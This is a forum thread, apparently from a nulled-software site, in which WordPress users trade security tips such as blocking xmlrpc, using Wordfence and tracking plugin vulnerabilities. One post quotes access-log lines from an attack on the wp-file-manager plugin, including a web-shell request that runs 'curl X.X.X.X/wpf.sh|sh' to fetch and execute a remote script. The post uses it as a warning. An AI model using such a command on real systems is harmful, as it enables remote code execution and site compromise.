Please Help!! I lost hope in WordPress!

MrSam_1 · Mar 20, 2021

in wordfence add restricted request for login this [login]
This way you will get rid of at least half of xmlrpc login scanners. Or completely block xmlrpc if you don't use third party apps.

Scorp · Mar 20, 2021

slvrsteele said:
in wordfence add restricted request for login this [login]
This way you will get rid of at least half of xmlrpc login scanners. Or completely block xmlrpc if you don't use third party apps.

Thanks, Really good info

themadoxter · Mar 20, 2021

Scorp said:
All automated right?

The backups are automated, i don't need to do anything, btw i'm using bunny cdn instead cloudflare, maybe this is a plus feature

Edit: guys i forgot, "Stop User Enumaration" plugin make a good layer of security, first thing i do on wordpress

Scorp · Mar 20, 2021

themadoxter said:
The backups are automated, i don't need to do anything, btw i'm using bunny cdn instead cloudflare, maybe this is a plus feature

No I don't think so. Both are good

KarmaticOne · Mar 20, 2021

themadoxter said:
I don't even know the duplicator pro was used for this (hacking) but yes, i'm using wordfence, loginizer, 2 step login, virus total, google recaptcha and i change my admin url, daily backups, lock anyone who try to use "admin" word and variations and so on.

Brilliantly done sir.

With nearly 40% of all websites on the internet now being powered by WordPress, coupled with the fact that Covid lockdowns are keeping people at home, it's becoming increasingly necessary for web designers to develop a better understanding of website security or, at the very least, adopt best practices as you have done.

Thanks for sharing!

GodDevil · Mar 20, 2021

themadoxter said:
I don't even know the duplicator pro was used for this (hacking) but yes, i'm using wordfence, loginizer, 2 step login, virus total, google recaptcha and i change my admin url, daily backups, lock anyone who try to use "admin" word and variations and so on.

Duplicator pro is vulnerable to hacking? OMG...many people suggest this plugin. However, I use Updraftplus. Hope Updraftplus is better.

Scorp · Mar 20, 2021

What do you all think about file manager plugin in wordpress? Which let us edit any file from wordpress rather than accessing cpanel and editing it.

themadoxter · Mar 20, 2021

KarmaticOne said:
Brilliantly done sir.

With nearly 40% of all websites on the internet now being powered by WordPress, coupled with the fact that Covid lockdowns are keeping people at home, it's becoming increasingly necessary for web designers to develop a better understanding of website security or, at the very least, adopt best practices as you have done.

Thanks for sharing!

You're so polite, Babiato needs a "MVM" member badge. (most valuable member)

MrSam_1 · Mar 20, 2021

Scorp said:
What do you all think about file manager plugin in wordpress? Which let us edit any file from wordpress rather than accessing cpanel and editing it.

Let me answer to this in some less common way:

Code:

[19/Dec/2020:08:57:08 +0000] "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 200 1453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
[19/Dec/2020:08:57:48 +0000] "GET /wp-content/plugins/wp-file-manager/lib/files/k.php?cmd=curl+X.X.X.X%2Fwpf.sh%7Csh HTTP/1.1" 200 411

I personally don't trust that plugin as it had critical flaws in the last major releases

KarmaticOne · Mar 20, 2021

GodDevil said:
Duplicator pro is vulnerable to hacking? OMG...many people suggest this plugin. However, I use Updraftplus. Hope Updraftplus is better.

While all plugins are potentially vulnerable to hacking, what I was referring to were those who have used a nulled duplicator pro from unreliable sources.

KarmaticOne · Mar 20, 2021

slvrsteele said:
in wordfence add restricted request for login this [login]
This way you will get rid of at least half of xmlrpc login scanners. Or completely block xmlrpc if you don't use third party apps.

This is sooo important it should almost be pinned. I completely block xmlrpc. Thank you for pointing this simple yet crucial step.

Scorp · Mar 20, 2021

KarmaticOne said:
This is sooo important it should almost be pinned. I completely block xmlrpc. Thank you for pointing this simple yet crucial step.

I can't block because I use jetpack

KarmaticOne · Mar 20, 2021

Scorp said:
I can't block because I use jetpack

Check this, might be helpful

Scorp · Mar 20, 2021

KarmaticOne said:
Check this, might be helpful

Thanks thats helpful

🅰🅳🅸🆃🆈🅰 · Mar 20, 2021

KarmaticOne said:
Brilliantly done sir.

With nearly 40% of all websites on the internet now being powered by WordPress, coupled with the fact that Covid lockdowns are keeping people at home, it's becoming increasingly necessary for web designers to develop a better understanding of website security or, at the very least, adopt best practices as you have done.

Thanks for sharing!

Changing wp admin url is more likely to he hack says wordfence

imraxstar · Mar 20, 2021

yes, there is a news comes from wordfence recently which says elementor free version has some problem and it affected 7M website worldwide, maybe this is what you are facing. Check wordfence blog for this and immediately either remove elementor oor update it. Elementor causing this issue maybe. Check it

frizzel · Mar 21, 2021

imraxstar said:
yes, there is a news comes from wordfence recently which says elementor free version has some problem and it affected 7M website worldwide, maybe this is what you are facing. Check wordfence blog for this and immediately either remove elementor oor update it. Elementor causing this issue maybe. Check it

Since he says all of his websites are affected, I doubt it's Elementor, cause the vulnerability only exists when people have access to the editor. From the Wordfence blog (comments section):

"this can only be exploited by users that can access the Elementor editor. If the only users on the site are those that are already allowed to add unfiltered HTML or JavaScript, such as administrators or editors, then yes, this doesn't add any additional risk. The primary risk is for sites that have users with fewer privileges, such as contributors and authors, as this creates a larger attack surface."

Still, given the huge user base of Elementor, it's a big thing...

underwater · Mar 21, 2021

slvrsteele said:
in wordfence add restricted request for login this [login]
This way you will get rid of at least half of xmlrpc login scanners. Or completely block xmlrpc if you don't use third party apps.

Hi @slvrsteele , could you please explain the real steps to do what you suggest in simple language. I feel that your tip is important but I do not understand how to really apply it. Thank you in advance.

Eddie147 · Mar 21, 2021

KarmaticOne said:
Brilliantly done sir.

With nearly 40% of all websites on the internet now being powered by WordPress, coupled with the fact that Covid lockdowns are keeping people at home, it's becoming increasingly necessary for web designers to develop a better understanding of website security or, at the very least, adopt best practices as you have done.

Thanks for sharing!

That's true

phaze1G · Mar 21, 2021

Eddie147 said:
That's true

Did you fix you issue?

Please Help!! I lost hope in WordPress!

Welcome to Original Babiato! All Resource are Free and No downloading Limit.. Join Our Official Telegram Channel For updates Bypass All the resource restrictions/Password/Key? Read here! Read Before submitting Resource Read here!Support Our Work By Donating Click here!

Join Our Official Telegram Channel For updates Bypass All the resource restrictions/Password/Key? Read here! Read Before submitting Resource Read here!

Support Our Work By Donating Click here!

Well-known member

Well-known member

Member

Well-known member

Active member

Member

Well-known member

Member

Well-known member

Active member

Active member

Well-known member

Active member

Well-known member

Active member

Active member

Well-known member

Active member

Member

Member

Similar threads

Forum statistics

Share this page

Welcome to Original Babiato! All Resource are Free and No downloading Limit..
Join Our Official Telegram Channel For updates
Bypass All the resource restrictions/Password/Key? Read here!
Read Before submitting Resource Read here!
Support Our Work By Donating Click here!

Join Our Official Telegram Channel For updates
Bypass All the resource restrictions/Password/Key? Read here!
Read Before submitting Resource Read here!